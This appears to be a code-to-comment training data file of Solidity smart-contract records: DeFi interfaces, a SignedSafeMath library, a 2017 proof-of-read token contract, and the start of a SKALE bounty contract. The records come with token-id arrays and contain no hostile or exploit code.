observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ICurveMetaRegistry} from './ICurveMetaRegistry.sol'; /** * @title IPriceOracle * @author Babylon Finance * * Interface for interacting with PriceOracle */ interface ITokenIdentifier { /* ============ Functions ============ */ function identifyTokens( address _tokenIn, address _tokenOut, ICurveMetaRegistry _curveMetaRegistry ) external view returns ( uint8, uint8, address, address ); function updateYearnVault(address[] calldata _vaults, bool[] calldata _values) external; function updateVisor(address[] calldata _vaults, bool[] calldata _values) external; function updateSynth(address[] calldata _synths, bool[] calldata _values) external; function updateCreamPair(address[] calldata _creamTokens, address[] calldata _underlyings) external; function updateAavePair(address[] calldata _aaveTokens, address[] calldata _underlyings) external; function updateCompoundPair(address[] calldata _cTokens, address[] calldata _underlyings) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; /** * @title ICurveMetaRegistry * @author Babylon Finance * * Interface for interacting with all the curve registries */ interface ICurveMetaRegistry { /* ============ Functions ============ */ function updatePoolsList() external; function updateCryptoRegistries() external; /* ============ View Functions ============ */ function isPool(address _poolAddress) external view returns (bool); function getCoinAddresses(address _pool, bool _getUnderlying) external view returns (address[8] memory); function getNCoins(address _pool) external view returns (uint256); function getLpToken(address _pool) external view returns (address); function getPoolFromLpToken(address _lpToken) external view returns (address); function getVirtualPriceFromLpToken(address _pool) external view returns (uint256); function isMeta(address _pool) external view returns (bool); function getUnderlyingAndRate(address _pool, uint256 _i) external view returns (address, uint256); function findPoolForCoins( address _fromToken, address _toToken, uint256 _i ) external view returns (address); function getCoinIndices( address _pool, address _fromToken, address _toToken ) external view returns ( uint256, uint256, bool ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IBaseIntegration} from '../interfaces/IBaseIntegration.sol'; /** * @title ITrade * @author Babylon Finance * * Interface for trading protocol integrations */ interface ITradeIntegration is IBaseIntegration { function trade( address _strategy, address _sendToken, uint256 _sendQuantity, address _receiveToken, uint256 _minReceiveQuantity ) external; function trade( address _strategy, address _sendToken, uint256 _sendQuantity, address _receiveToken, uint256 _minReceiveQuantity, address _hopToken ) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; interface IBaseIntegration { function name() external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } }
* @return The result of safely dividing x and y. The return value is a high precision decimal. @dev y is divided after the product of x and the standard precision unit is evaluated, so the product of x and UNIT must be less than 2256. As this is an integer division, the result is always rounded down. This helps save on gas. Rounding is more expensive on gas./
function divideDecimal(uint256 x, uint256 y) internal pure returns (uint256) { return x.mul(UNIT).div(y);
217,815
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2463, 1021, 563, 434, 15303, 3739, 10415, 619, 471, 677, 18, 1021, 327, 460, 353, 279, 3551, 6039, 6970, 18, 632, 5206, 677, 353, 26057, 1839, 326, 3017, 434, 619, 471, 326, 4529, 6039, 2836, 353, 12697, 16, 1427, 326, 3017, 434, 619, 471, 28721, 1297, 506, 5242, 2353, 576, 5034, 18, 2970, 333, 353, 392, 3571, 16536, 16, 326, 563, 353, 3712, 16729, 2588, 18, 1220, 21814, 1923, 603, 16189, 18, 11370, 310, 353, 1898, 19326, 603, 16189, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12326, 5749, 12, 11890, 5034, 619, 16, 2254, 5034, 677, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 619, 18, 16411, 12, 15736, 2934, 2892, 12, 93, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; contract ParityProofOfSMSInterface { function certified(address _who) constant returns (bool); } contract ProofOfReadToken { ParityProofOfSMSInterface public proofOfSms; //maps reader addresses to a map of story num => have claimed readership mapping (address => mapping(uint256 => bool)) public readingRegister; //article hash to key hash mapping (string => bytes32) articleKeyHashRegister; //story num to article hash mapping (uint256 => string) public publishedRegister; //set the max number of claimable tokens for each article mapping (string => uint256) remainingTokensForArticle; uint256 public numArticlesPublished; address public publishingOwner; uint256 public minSecondsBetweenPublishing; uint256 public maxTokensPerArticle; uint public timeOfLastPublish; bool public shieldsUp; //require sms verification string ipfsGateway; /* ERC20 fields */ string public standard = "Token 0.1"; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer (address indexed from, address indexed to, uint256 value); event Approval (address indexed _owner, address indexed _spender, uint256 _value); event ClaimResult (uint); event PublishResult (uint); /* Initializes contract with initial supply tokens to the creator of the contract */ function ProofOfReadToken(uint256 _minSecondsBetweenPublishing, uint256 _maxTokensPerArticle, string tokenName, uint8 decimalUnits, string tokenSymbol) { publishingOwner = msg.sender; minSecondsBetweenPublishing = _minSecondsBetweenPublishing; maxTokensPerArticle = _maxTokensPerArticle; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; ipfsGateway = "http://ipfs.io/ipfs/"; proofOfSms = ParityProofOfSMSInterface(0x9ae98746EB8a0aeEe5fF2b6B15875313a986f103); } /* Publish article */ function publish(string articleHash, bytes32 keyHash, uint256 numTokens) { if (msg.sender != publishingOwner) { PublishResult(1); throw; } else if (numTokens > maxTokensPerArticle) { PublishResult(2); throw; } else if (block.timestamp - timeOfLastPublish < minSecondsBetweenPublishing) { PublishResult(3); throw; } else if (articleKeyHashRegister[articleHash] != 0) { PublishResult(4); //can't republish same article throw; } timeOfLastPublish = block.timestamp; publishedRegister[numArticlesPublished] = articleHash; articleKeyHashRegister[articleHash] = keyHash; numArticlesPublished++; remainingTokensForArticle[articleHash] = numTokens; PublishResult(3); } /*Claim a token for an article */ function claimReadership(uint256 articleNum, string key) { if (shieldsUp && !proofOfSms.certified(msg.sender)) { ClaimResult(1); //missing sms certification throw; } else if (readingRegister[msg.sender][articleNum]) { ClaimResult(2); // user alread claimed throw; } else if (remainingTokensForArticle[publishedRegister[articleNum]] <= 0) { ClaimResult(3); //article out of tokens throw; } else if (keccak256(key) != articleKeyHashRegister[publishedRegister[articleNum]]) { ClaimResult(4); //incorrect key throw; } else if (balanceOf[msg.sender] + 1 < balanceOf[msg.sender]) { ClaimResult(5); //overflow error throw; } remainingTokensForArticle[publishedRegister[articleNum]]--; totalSupply++; readingRegister[msg.sender][articleNum] = true; balanceOf[msg.sender] += 1; ClaimResult(0); } /* Check if an address has read a given article */ function hasReadership(address toCheck, uint256 articleNum) public returns (bool) { return readingRegister[toCheck][articleNum]; } function getRemainingTokenForArticle(string articleHash) public returns (uint256) { return remainingTokensForArticle[articleHash]; } /* Send coins */ function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) return false; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) return false; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient /* Notify anyone listening that this transfer took place */ Transfer(msg.sender, _to, _value); return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function updateIpfsGateway(string gateway) { if (msg.sender == publishingOwner) ipfsGateway = gateway; } function setSmsCertificationRequired(bool enable) { if (msg.sender == publishingOwner) shieldsUp = enable; } }
user alread claimed
ClaimResult(2);
12,717,503
[ 1, 4625, 348, 7953, 560, 30, 225, 729, 524, 896, 7516, 329, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 18381, 1253, 12, 22, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./delegation/DelegationController.sol"; import "./delegation/PartialDifferences.sol"; import "./delegation/TimeHelpers.sol"; import "./delegation/ValidatorService.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; contract BountyV2 is Permissions { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; function calculateBounty(uint nodeIndex) external allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty); bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool.sub(bounty); _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty); return bounty; } function enableBountyReduction() external onlyOwner { bountyReduction = true; } function disableBountyReduction() external onlyOwner { bountyReduction = false; } function setNodeCreationWindowSeconds(uint window) external allow("Nodes") { nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function populate() external 